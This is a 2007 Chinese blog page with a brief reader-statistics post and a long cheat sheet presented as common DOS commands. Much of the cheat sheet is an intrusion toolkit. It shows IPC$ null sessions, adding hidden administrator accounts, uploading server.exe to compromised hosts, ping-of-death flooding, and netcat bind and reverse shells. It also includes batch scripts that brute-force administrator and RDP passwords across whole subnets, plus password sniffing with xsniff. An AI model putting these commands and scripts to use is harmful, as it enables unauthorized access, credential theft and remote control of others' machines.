2007年3月24日星期六

3月份读者区域分布

根据51.la的统计,近一个月来我BLOG的读者分布情况大致如下:
访问者地区 ( 本月详情 )
共 38 项
访问量
比例
北京
48
31.2%
美国
24
15.6%
上海
23
14.9%
山西
6
3.9%
CZ88.NET
5
3.2%
湖南
3
1.9%
江苏
3
1.9%
山东
3
1.9%
云南
3
1.9%
欧洲
3
1.9%
美国/加拿大
2
1.3%
印度
2
1.3%
英国
2
1.3%
广东
2
1.3%
德国
2
1.3%
福建
1
0.6%
波兰
1
0.6%
丹麦
1
0.6%
安徽
1
0.6%
澳大利亚
1
0.6%
APNIC
1
0.6%
CNNIC
1
0.6%
贵州
1
0.6%
河北
1
0.6%
河南
1
0.6%
黑龙江
1
0.6%
马来西亚
1
0.6%
吉林
1
0.6%
加拿大
1
0.6%
中科院研究生院
1
0.6%
南非
1
0.6%
葡萄牙
1
0.6%
台湾
1
0.6%
土耳其
1
0.6%
委内瑞拉
1
0.6%
乌克兰
1
0.6%
新加坡
1
0.6%
意大利
1
0.6%
其中 国内流量 99 (64.3%) / 国外流量 55 (35.7%)
赶巧了,国内99国外55。

常用DOS命令?仅仅作为收藏!

net use \\ip\ipc$ " " /user:" " 建立IPC空链接

net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接

net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:

net use h: \\ip\c$ 登陆后映射对方C:到本地为H:

net use \\ip\ipc$ /del 删除IPC链接

net use h: /del 删除映射对方到本地的为H:的映射

net user 用户名 密码 /add 建立用户

net user guest /active:yes 激活guest用户

net user 查看有哪些用户

net user 帐户名 查看帐户的属性

net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:***istrator后加s用复数

net start 查看开启了哪些服务

net start 服务名  开启服务;(如:net start telnet, net start schedule)

net stop 服务名 停止某服务

net time \\目标ip 查看对方时间

net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息

net view 查看本地局域网内开启了哪些共享

net view \\ip 查看对方局域网内开启了哪些共享

net config 显示系统网络设置

net logoff 断开连接的共享

net pause 服务名 暂停某服务

net send ip "文本信息" 向对方发信息

net ver 局域网内正在使用的网络连接类型和信息

net share 查看本地开启的共享

net share ipc$ 开启ipc$共享

net share ipc$ /del 删除ipc$共享

net share c$ /del 删除C:共享

net user guest 12345 用guest用户登陆后用将密码改为12345

net password 密码 更改系统登陆密码

netstat -a 查看开启了哪些端口,常用netstat -an

netstat -n 查看端口的网络连接情况,常用netstat -an

netstat -v 查看正在进行的工作

netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)

netstat -s 查看正在使用的所有协议使用情况

nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写

tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。

ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。

ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)

ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息

tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)

kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)

del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件

#2 二:

del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)

move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖

fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令

at id号 开启已注册的某个计划任务

at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止

at id号 /delete 停止某个已注册的计划任务

at 查看所有的计划任务

at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机

finger username @host 查看最近有哪些用户登陆

telnet ip 端口 远和登陆服务器,默认端口为23

open ip 连接到IP(属telnet登陆后的命令)

telnet 在本机上直接键入telnet 将进入本机的telnet

copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件

copy c:\srv.exe \\ip\***$ 复制本地c:\srv.exe到对方的***下

cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件

copy \\ip\***$\svv.exe c:\ 或:copy\\ip\***$\*.* 复制对方***i$共享下的srv.exe文件(所有文件)至本地C:

xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件

tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送

tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机

ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)

route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface

arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息

start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令

mem 查看cpu使用情况

attrib 文件名(目录名) 查看某文件(目录)的属性

attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性

dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间

date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间

set 指定环境变量名称=要指派给变量的字符 设置环境变量

set 显示当前所有的环境变量

set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量

pause 暂停批处理程序,并显示出:请按任意键继续....

if 在批处理程序中执行条件处理(更多说明见if命令及变量)

goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)

call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)

for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)

echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置

echo 信息 在屏幕上显示出信息

echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中

findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello

find 文件名 查找某文件

title 标题名字 更改CMD窗口标题名字

color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白

prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )

#3 三:

ver 在DOS窗口下显示版本信息

winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)

format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS

md 目录名 创建目录

replace 源文件 要替换文件的目录 替换文件

ren 原文件名 新文件名 重命名文件名

tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称

type 文件名 显示文本文件的内容

more 文件名 逐屏显示输出文件

doskey 要锁定的命令=字符

doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=

taskmgr 调出任务管理器

chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误

tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口

exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe

path 路径\可执行文件的文件名 为可执行文件设置一个路径。

cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?

regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;

regedit /e 注册表文件名 导出注册表

cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。

cacls 文件名 查看文件的访问用户权限列表

REM 文本内容 在批处理文件中添加注解

netsh 查看或更改本地网络配置情况

#4 四:

IIS服务命令:

iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)

iisreset /start或stop 启动(停止)所有Internet服务

iisreset /restart 停止然后重新启动所有Internet服务

iisreset /status 显示所有Internet服务状态

iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动

iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机

iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务

iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。

FTP 命令: (后面有详细说明内容)

ftp的命令行格式为:

ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。

-d 使用调试方式。

-n 限制ftp的自动登录,即不使用.netrc文件。

-g 取消全局文件名。

help [命令] 或 ?[命令] 查看命令说明

bye 或 quit 终止主机FTP进程,并退出FTP管理方式.

pwd 列出当前远端主机目录

put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中

get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中

mget [remote-files] 从远端主机接收一批文件至本地主机

mput local-files 将本地主机中一批文件传送至远端主机

dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件

ascii 设定以ASCII方式传送文件(缺省值)

bin 或 image 设定以二进制方式传送文件

bell 每完成一次文件传送,报警提示

cdup 返回上一级目录

close 中断与远程服务器的ftp会话(与open对应)

open host[port] 建立指定ftp服务器连接,可指定连接端口

delete 删除远端主机中的文件

mdelete [remote-files] 删除一批文件

mkdir directory-name 在远端主机中建立目录

rename [from] [to] 改变远端主机中的文件名

rmdir directory-name 删除远端主机中的目录

status 显示当前FTP的状态

system 显示远端主机系统类型

user user-name [password] [account] 重新以别的用户名登录远端主机

open host [port] 重新建立一个新的连接

prompt 交互提示模式

macdef 定义宏命令

lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录

chmod 改变远端主机的文件权限

case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母

cd remote-dir 进入远程主机目录

cdup 进入远程主机目录的父目录

! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip

#5 五:

MYSQL 命令:

mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。

(例:mysql -h110.110.110.110 -Uroot -P123456

注:u与root可以不用加空格,其它也一样)

exit 退出MYSQL

mysql*** -u用户名 -p旧密码 password 新密码 修改密码

grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)

show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。

use mysql;

show tables; 显示库中的数据表

describe 表名; 显示数据表的结构

create database 库名; 建库

use 库名;

create table 表名 (字段设定列表); 建表

drop database 库名;

drop table 表名; 删库和删表

delete from 表名; 将表中记录清空

select * from 表名; 显示表中的记录

mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。

win2003系统下新增命令(实用部份):

shutdown /参数 关闭或重启本地或远程主机。

参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。

例:shutdown /r /t 0 立即重启本地主机(无延时)

taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。

参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。

tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。

参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。

#6 六:

Linux系统下基本命令: 要区分大小写

uname 显示版本信息(同win2K的 ver)

dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)

pwd 查询当前所在的目录位置

cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。

cat 文件名 查看文件内容

cat >abc.txt 往abc.txt文件中写上内容。

more 文件名 以一页一页的方式显示一个文本文件。

cp 复制文件

mv 移动文件

rm 文件名 删除文件,rm -a 目录名删除目录及子目录

mkdir 目录名 建立目录

rmdir 删除子目录,目录内没有文档。

chmod 设定档案或目录的存取权限

grep 在档案中查找字符串

diff 档案文件比较

find 档案搜寻

date 现在的日期、时间

who 查询目前和你使用同一台机器的人以及Login时间地点

w 查询目前上机者的详细资料

whoami 查看自己的帐号名称

groups 查看某人的Group

passwd 更改密码

history 查看自己下过的命令

ps 显示进程状态

kill 停止某进程

gcc 黑客通常用它来编译C语言写的文件

su 权限转换为指定使用者

telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。

ftp ftp连接上某服务器(同win2K)

附:批处理命令与变量

1:for命令及变量 基本格式:

FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。

批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3

(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }

command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开

command_parameters:为特定命令指定参数或命令行开关

IN (set):指在(set)中取值;DO command :指执行command

参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。

用法举例:

@echo off

echo 用法格式:test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:***istrator | find "命令成功完成" >>test.txt

存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立***istrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。

/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。

@echo off

echo 用法格式:ok.bat ip

FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200

存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。http://www.jz5u.com

#7 七:

2:if命令及变量 基本格式:

IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。

例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。

0 指发现并成功执行(真);1 指没有发现、没执行(假)。

IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。

例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")

IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。

例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。

IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用括起来,因为del命令要单独一行时才能执行,用上后就等于是单独一行了;例如:“if exist test.txt. else echo test.txt.missing ”,注意命令中的“.”

系统外部命令(均需下载相关工具):

1、瑞士军刀:nc.exe

参数说明:

-h 查看帮助信息

-d 后台模式

-e prog程序重定向,一但连接就执行[危险]

-i secs延时的间隔

-l 监听模式,用于入站连接

-L 监听模式,连接天闭后仍然继续监听,直到CTR+C

-n IP地址,不能用域名

-o film记录16进制的传输

-p[空格]端口 本地端口号

-r 随机本地及远程端口

-t 使用Telnet交互方式

-u UDP模式

-v 详细输出,用-vv将更详细

-w数字 timeout延时间隔

-z 将输入,输出关掉(用于扫锚时)

基本用法:

nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口

nc -l -p 80 开启本机的TCP 80端口并监听

nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口

nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口

nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口

高级用法:

nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止

nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt

nc -L -p 80 存放文件的路径及名称 传送文件到对方主机

备 注:

| 管道命令

重定向命令。“> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中

>与>>的区别  ">"指:覆盖;">>"指:保存到(添加到)。

如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。

#8 八:

2、扫锚工具:xscan.exe

基本格式

xscan -host [-] [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息

xscan -file [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息

检测项目

-active 检测主机是否存活

-os 检测远程操作系统类型(通过NETBIOS和SNMP协议)

-port 检测常用服务的端口状态

-ftp 检测FTP弱口令

-pub 检测FTP服务匿名用户写权限

-pop3 检测POP3-Server弱口令

-smtp 检测SMTP-Server漏洞

-sql 检测SQL-Server弱口令

-smb 检测NT-Server弱口令

-iis 检测IIS编码/解码漏洞

-cgi 检测CGI漏洞

-nasl 加载Nessus攻击脚本

-all 检测以上所有项目

其它选项

-i 适配器编号 设置网络适配器, 可通过"-l"参数获取

-l 显示所有网络适配器

-v 显示详细扫描进度

-p 跳过没有响应的主机

-o 跳过没有检测到开放端口的主机

  -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10

-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)

用法示例

xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机

xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机

xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机www.jz5u.com

#9 九:

3、命令行方式嗅探器: xsniff.exe

可捕获局域网内FTP/SMTP/POP3/HTTP协议密码

参数说明

-tcp 输出TCP数据报

-udp 输出UDP数据报

-icmp 输出ICMP数据报

-pass 过滤密码信息

-hide 后台运行

-host 解析主机名

-addr IP地址 过滤IP地址

-port 端口 过滤端口

-log 文件名 将输出保存到文件

-asc 以ASCII形式输出

-hex 以16进制形式输出

用法示例

xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中

xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出

4、终端服务密码破解: tscrack.exe

参数说明

-h 显示使用帮助

-v 显示版本信息

-s 在屏幕上打出解密能力

-b 密码错误时发出的声音

-t 同是发出多个连接(多线程)

-N Prevent System Log entries on targeted server

-U 卸载移除tscrack组件

-f 使用-f后面的密码

-F 间隔时间(频率)

-l 使用-l后面的用户名

-w 使用-w后面的密码字典

-p 使用-p后面的密码

-D 登录主页面

用法示例

tscrack 192.168.0.1 -l ***istrator -w pass.dic 远程用密码字典文件暴破主机的***istrator的登陆密码

tscrack 192.168.0.1 -l ***istrator -p 123456 用密码123456远程登陆192.168.0.1的***istrator用户

@if not exist ipcscan.txt goto noscan

@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i

nscan

@echo 3389.txt no find or scan faild

(①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)

3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat

@if not exist tscrack.exe goto noscan

@tscrack %1 -l ***istrator -w pass.dic >>rouji.txt

:noscan

@echo tscrack.exe no find or scan faild

(②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)

hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的***istrator密码,并将破解结果保存在rouji.txt文件中。

5、其它:

Shutdown.exe

Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)

fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)

fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时,他扫到的结果会完全是www.sina.com.cn的主机信息

Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。

OpenTelnet.exe (远程开启telnet工具)

opentelnet.exe \\IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet \\ip 连接上对方。

NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。

ResumeTelnet.exe (OpenTelnet附带的另一个工具)

resumetelnet.exe \\IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。

#10 十:

6、FTP命令详解:

FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。

FTP的命令行格式为:

ftp -v -d -i -n -g [主机名] ,其中

-v 显示远程服务器的所有响应信息;

-n 限制ftp的自动登录,即不使用;.n etrc文件;

-d 使用调试方式;

-g 取消全局文件名。

FTP使用的内部命令如下(中括号表示可选项):

1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip

2.$ macro-ame[args]: 执行宏定义macro-name。

3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。

4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。

5.ascii:使用ascii类型传输方式。

6.bell:每个命令执行完毕后计算机响铃一次。

7.bin:使用二进制文件传输方式。

8.bye:退出ftp会话过程。

9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。

10.cd remote-dir:进入远程主机目录。

11.cdup:进入远程主机目录的父目录。

12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。

13.close:中断与远程服务器的ftp会话(与open对应)。

14.cr:使用asscii方式传输文件时,将回车换行转换为回行。

15.delete remote-file:删除远程主机文件。

16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。

17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。

18.disconnection:同close。

19.form format:将文件传输方式设置为format,缺省为file方式。

20.get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。

21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。

22.hash:每传输1024字节,显示一个hash符号(#)。

23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。

24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。

25.image:设置二进制传输方式(同binary)。

26.lcd[dir]:将本地工作目录切换至dir。

27.ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。

28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。

29.mdelete[remote-file]:删除远程主机文件。

30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。

31.mget remote-files:传输多个远程文件。

32.mkdir dir-name:在远程主机中建一目录。

33.mls remote-file local-file:同nlist,但可指定多个文件名。

34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。

35.modtime file-name:显示远程主机文件的最后修改时间。

36.mput local-file:将多个文件传输至远程主机。

37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。

38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。

39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。 该命令特别适用于远程主机为非UNIX机的情况。

40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。

41.open host[port]:建立指定ftp服务器连接,可指定连接端口。

42.passive:进入被动传输方式。

43.prompt:设置多个文件传输时的交互提示。

44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。

45.put local-file[remote-file]:将本地文件local-file传送至远程主机。

46.pwd:显示远程主机的当前工作目录。

47.quit:同bye,退出ftp会话。

48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.

49.recv remote-file[local-file]:同get。

50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。

51.rhelp[cmd-name]:请求获得远程主机的帮助。

52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。

53.rename[from][to]:更改远程主机文件名。

54.reset:清除回答队列。

55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。

56.rmdir dir-name:删除远程主机目录。

57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。

58.send local-file[remote-file]:同put。

59.sendport:设置PORT命令的使用。

60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。

61.size file-name:显示远程主机文件大小,如:site idle 7200。

62.status:显示当前ftp状态。www.jz5u.com

63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。

64.sunique:将远程主机文件名存储设置为只一(与runique对应)。

65.system:显示远程主机的操作系统类型。

66.tenex:将文件传输类型设置为TENEX机的所需的类型。

67.tick:设置传输时的字节计数器。

68.trace:设置包跟踪。

69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。

70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3

71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。

72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.

73.?[cmd]:同help.

#11 十一:

7:计算机运行命令全集 winver---------检查Windows版本

wmimgmt.msc----打开windows管理体系结构

wupdmgr--------windows更新程序

winver---------检查Windows版本

wmimgmt.msc----打开windows管理体系结构

wupdmgr--------windows更新程序

wscript--------windows脚本宿主设置

write----------写字板winmsd-----系统信息

wiaacmgr-------扫描仪和照相机向导

